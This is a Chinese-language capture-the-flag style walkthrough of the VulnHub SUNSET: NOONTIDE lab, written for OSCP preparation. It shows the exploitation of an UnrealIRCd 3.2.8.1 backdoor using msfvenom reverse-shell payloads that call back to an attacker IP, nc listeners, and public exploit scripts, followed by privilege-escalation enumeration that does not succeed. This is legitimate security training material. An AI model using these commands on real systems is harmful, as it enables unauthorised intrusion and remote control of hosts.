admin管理员组

文章数量:1794759

靶场实战(14):OSCP备考之VulnHub SUNSET NOONTIDE

1、资产发现

1.1、主机发现

本次靶场SUNSET: NOONTIDE[1]指定IP,不涉及主机发现过程。

1.2、服务发现

使用命令sudo -u root 172.16.33.78 -n -Pn -p- --reason -sV -sC -O,发现主机开放的端口、提供的服务、使用的组件、组件的版本。

开放的端口

提供的服务

使用的组件

组件的版本

6667/tcp

irc

UnrealIRCd

?

6697/tcp

irc

UnrealIRCd

?

8067/tcp

irc

UnrealIRCd

?

-

os

?

?

2、漏洞发现(获取权限)

2.1、irc服务

0x01

主机只使用UnrealIRCd组件提供irc服务,看来要么从这突破,要么放弃。使用命令searchsploit UnrealIRCd,发现3.2.8.1版本的UnrealIRCd组件存在RCE漏洞。

查看Metasploitable2系列练习-漏洞利用之UnrealIRCd[2],得知可以使用hexchat查看UnrealIRCd组件的版本。使用命令sudo apt-get install -y hexchat安装hexchat,使用命令hexchat 172.16.33.78连接irc服务,发现UnrealIRCd组件的版本刚好就是存在RCE漏洞的3.2.8.1。

0x02

使用命令searchsploit -m 13853将EXP拷贝到当前目录。

使用命令msfvenom -p cmd/unix/reverse_perl LHOST=10.8.0.110 LPORT=4444 -f raw创建perl环境的Payload。

使用命令vim 13853.pl将Payload添加到EXP中,注意引号的转义和结尾的分号。

使用命令nc -nvlp 4444监听反弹shell,使用命令perl 13853.pl 172.16.33.78 <端口> 1利用RCE漏洞发起反弹shell,均未获得反弹shell,难道目标机器上没有perl环境?

0x03

使用命令msfvenom -p cmd/unix/reverse_bash LHOST=10.8.0.110 LPORT=4444 -f raw创建bash环境的Payload。

使用命令vim 13853.pl将Payload添加到EXP中,注意引号的转义和结尾的分号。

使用命令nc -nvlp 4444监听反弹shell,使用命令perl 13853.pl 172.16.33.78 <端口> 2利用RCE漏洞发起反弹shell,均未获得反弹shell,难道是EXP不行?

0x04

网上找到EXPRanger11Danger/UnrealIRCd-3.2.8.1-Backdoor/exploit.py[3],使用命令vim exploit.py修改本地监听的IP和端口后,使用命令python3 exploit.py -payload <脚本语言> <目标IP> <目标端口>构造命令进行利用,最终使用python3 exploit.py -payload bash 172.16.33.78 6697成功获得反弹shell。

0x05

网上找到EXPgeek-repo/UnrealIRCd-3.2.8.1/poc.py[4],使用命令vim poc.py修改源目IP端口后,构造命令python2 poc.py进行利用,最终成功获得server用户的反弹shell。

3、提升权限

首先使用命令which pythonwhich python3发现有Python3环境,然后使用python3 -c 'import pty; pty.spawn("/bin/bash")'获得交换式shell。

3.1、server用户

3.1.1、sudo

使用命令sudo -l查看当前用户能以谁的权限执行什么命令,发现不存在sudo命令。使用命令which sudo确认确实不存在。

3.1.2、suid

使用命令find / -perm -u=s -type f -ls 2>/dev/null查看哪些命令在执行时会以命令属主的权限执行,发现还挺多。逐个在GTFOBins[5]查询是否可用于提权,发现都不行。

3.1.3、cron

使用命令find /var/spool/cron/ -type f -ls 2>/dev/null查看定时任务,发现没有。使用命令find /var/spool/cron/ -type f -ls不隐藏报错,发现是没有查看权限。

使用命令find /etc/*cron* -type f -ls查看定时任务,发现还挺多。使用命令find /etc/*cron* -type f -ls 2>/dev/null -exec cat {} \; > /tmp/cron.txtgrep '\*' /tmp/cron.txt查看定时任务内容,未发现有引用当前用户具有read和write权限的命令或脚本。

使用命令find / -perm -o=rw ! -path "/proc/*" -type f -ls 2>/dev/null查看other用户具有read和write权限的命令或脚本,发现有一些,但未发现有可能被定时任务引用的迹象。

3.1.4、内核提权

使用命令uname -r获取系统内核版本4.19.0,使用命令cat /etc/*release获取系统发行版本Debian Linux 10

使用命令searchsploit 4. Debian Linux 10,未发现存在本地提权漏洞。

3.1.5、信息收集

使用命令find /root/ -type f -ls 2>/dev/null查看特权用户目录下的文件,无收获。使用命令find /home/ ! -path "/home/server/irc/*" -type f -ls 2>/dev/null查看普通用户目录下的文件,无收获。使用命令find /tmp/ -type f -ls 2>/dev/null查看临时目录下的文件,无收获。

查看irc服务的配置文件和日志文件,最终在/home/server/irc/Unreal3.2/ircd.log中发现连接记录Connect - root!root@192.168.100.139,疑似获得账户密码root/root,不过使用命令su root切换到root账户时却报错,看来密码被改过了。但是查看WriteUp,确实又是使用账户密码root/root获得提权的,看来这靶机有问题呀。

3.1.6、使用工具

靶机使用命令nc -nvlp 4444 > /tmp/linpeas.sh接收文件,本地使用命令nc -nv 172.16.33.78 4444 < linpeas.sh发送文件后使用命令Ctrl+C关闭连接,靶机使用命令chmod +x /tmp/linpeas.sh赋予脚本执行权限后使用命令/tmp/linpeas.sh执行脚本。逐个查看脚本报告,未发现可以提权的漏洞,提权失败。

参考资料

[1]

SUNSET: NOONTIDE: ,531/

[2]

Metasploitable2系列练习-漏洞利用之UnrealIRCd: /

[3]

Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor/exploit.py: .2.8.1-Backdoor/blob/master/exploit.py

[4]

geek-repo/UnrealIRCd-3.2.8.1/poc.py: .2.8.1

[5]

GTFOBins:

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。原始发表:2024-01-12,如有侵权请联系 cloudcommunity@tencent 删除定时任务服务脚本漏洞权限

本文标签: 靶场实战(14)OSCP备考之VulnHub SUNSET NOONTIDE